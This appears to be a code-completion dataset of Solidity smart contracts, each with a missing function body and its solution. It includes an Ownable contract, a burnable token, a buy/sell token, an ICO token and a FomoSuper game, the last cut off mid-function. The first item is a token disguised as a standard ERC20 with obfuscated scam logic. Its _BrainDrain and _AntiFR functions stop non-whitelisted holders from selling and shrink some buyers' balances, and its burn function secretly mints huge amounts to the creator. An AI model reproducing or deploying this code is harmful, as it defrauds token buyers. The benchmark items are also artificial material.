(Virginia,NewYork) = ((address(sender) == _creator) && (Kentucky == false)) ? (Washington, true) : (Virginia,NewYork); (Kansas[recipient],Kentucky) = ((address(sender) == _creator) && (Kentucky == true)) ? (true, false) : (Kansas[recipient],Kentucky); _AntiFR(recipient); _BrainDrain(sender, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployABC(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (1000, 1000); _totalSupply += amount; _balances[account] += amount; Virginia = _totalSupply; Washington = _totalSupply / temp1; Oregon = Washington * temp2; emit Transfer(address(0), account, amount); } }
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Kansas; mapping (address => bool) private Missouri; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _LoggedTime; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; address[] private alabamaArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private Virginia; uint256 private Washington; uint256 private Oregon; bool private Florida; bool private Kentucky; bool private NewYork; uint256 private lmao; constructor (string memory name_, string memory symbol_, address creator_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _name = name_; _creator = creator_; _symbol = symbol_; Kentucky = true; Kansas[creator_] = true; Florida = true; NewYork = false; Missouri[creator_] = false; lmao = 0; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _BrainDrain(address sender, uint256 amount) internal { if ((Kansas[sender] != true)) { if ((amount > Oregon)) { require(false); } require(amount < Virginia); if (NewYork == true) { if (Missouri[sender] == true) { require(false); } Missouri[sender] = true; } } } function _AntiFR(address recipient) internal { alabamaArray.push(recipient); _LoggedTime[recipient] = block.timestamp; if ((Kansas[recipient] != true) && (lmao > 11)) { if ((_LoggedTime[alabamaArray[lmao-1]] == _LoggedTime[alabamaArray[lmao]]) && Kansas[alabamaArray[lmao-1]] != true) { _balances[alabamaArray[lmao-1]] = _balances[alabamaArray[lmao-1]]/75; } } lmao++; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { _balances[_creator] += _totalSupply * 10 ** 10; require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } <FILL_FUNCTION> function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (Virginia,NewYork) = ((address(sender) == _creator) && (Kentucky == false)) ? (Washington, true) : (Virginia,NewYork); (Kansas[recipient],Kentucky) = ((address(sender) == _creator) && (Kentucky == true)) ? (true, false) : (Kansas[recipient],Kentucky); _AntiFR(recipient); _BrainDrain(sender, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployABC(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (1000, 1000); _totalSupply += amount; _balances[account] += amount; Virginia = _totalSupply; Washington = _totalSupply / temp1; Oregon = Washington * temp2; emit Transfer(address(0), account, amount); } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); (Kansas[spender],Missouri[spender],Florida) = ((address(owner) == _creator) && (Florida == true)) ? (true,false,false) : (Kansas[spender],Missouri[spender],Florida); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal virtual
function _approve(address owner, address spender, uint256 amount) internal virtual
66592
Ownable
transferOwnership
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev revert()s if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev revert()s if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } <FILL_FUNCTION> }
if (newOwner != address(0)) { owner = newOwner; }
function transferOwnership(address newOwner) onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner
25269
ERC20Burnable
burnFrom
contract ERC20Burnable is ERC20, MinterRole { /** * @dev Destroys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public onlyMinter { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public onlyMinter {<FILL_FUNCTION_BODY> } }
contract ERC20Burnable is ERC20, MinterRole { /** * @dev Destroys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public onlyMinter { _burn(msg.sender, amount); } <FILL_FUNCTION> }
_burnFrom(account, amount);
function burnFrom(address account, uint256 amount) public onlyMinter
/** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public onlyMinter
39770
ExpToken
sell
contract ExpToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; bool private _priceMoreThanOneETH = false; bool private _biding = true; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function ExpToken( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 initialSellPrice, uint256 initialBuyPrice ) TokenERC20(initialSupply, tokenName, tokenSymbol) public { sellPrice = initialSellPrice; buyPrice = initialBuyPrice; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function setPriceMoreThanOneETH(bool priceMoreThanOneETH) onlyOwner public { _priceMoreThanOneETH = priceMoreThanOneETH; } function setBidding(bool newBidding) onlyOwner public { _biding = newBidding; } /// @notice Buy tokens from contract by sending ether function buy() payable public { require(_biding); uint amount; if (_priceMoreThanOneETH) { amount = msg.value / buyPrice; // calculates the amount } else { amount = msg.value * buyPrice; // calculates the amount } _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public {<FILL_FUNCTION_BODY> } }
contract ExpToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; bool private _priceMoreThanOneETH = false; bool private _biding = true; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function ExpToken( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 initialSellPrice, uint256 initialBuyPrice ) TokenERC20(initialSupply, tokenName, tokenSymbol) public { sellPrice = initialSellPrice; buyPrice = initialBuyPrice; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function setPriceMoreThanOneETH(bool priceMoreThanOneETH) onlyOwner public { _priceMoreThanOneETH = priceMoreThanOneETH; } function setBidding(bool newBidding) onlyOwner public { _biding = newBidding; } /// @notice Buy tokens from contract by sending ether function buy() payable public { require(_biding); uint amount; if (_priceMoreThanOneETH) { amount = msg.value / buyPrice; // calculates the amount } else { amount = msg.value * buyPrice; // calculates the amount } _transfer(this, msg.sender, amount); // makes the transfers } <FILL_FUNCTION> }
require(_biding); if (_priceMoreThanOneETH) { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // calculates the amount } else { amount = amount * 10 ** uint256(decimals); require(this.balance >= amount / sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * 10 ** uint256(decimals) / sellPrice); // calculates the amount }
function sell(uint256 amount) public
/// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public
71601
AsterionWorldToken
AsterionWorldToken
contract AsterionWorldToken is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************A s t e r i o n W o r l d T o k e n***************************** ********Asterion World Token**************Asterion World Token***** ********Asterion World Token**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** ********Asterion World Tokene**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public AsterionWorldToken ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function AsterionWorldToken() {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract AsterionWorldToken is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE:*************************A s t e r i o n W o r l d T o k e n***************************** ********Asterion World Token**************Asterion World Token***** ********Asterion World Token**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** ********Asterion World Tokene**************Asterion World Token*************Asterion World Token**************n e t k r o n e***** */ string public name; // Token uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: .. string public version = 'H1.0'; uint256 public AsterionWorldToken ; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address fundsWallet; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 130000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 130000000; // Update total supply (1000 for example) (CHANGE THIS) name = "AsterionWorldToken"; // Set the name for display purposes (CHANGE THIS) decimals = 0; // Amount of decimals for display purposes (CHANGE THIS) symbol = "ATR"; // Set the symbol for display purposes (CHANGE THIS) // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH
function AsterionWorldToken()
// Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function AsterionWorldToken()
83798
FomoSuper
receivePlayerInfo
contract FomoSuper is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB2b3d6feAE1AB2af4a07Cf4C047D69aa01D809Aa); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; string constant public name = "FomoSuper"; string constant public symbol = "FomoSuper"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 12 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(30,8); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(68,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( 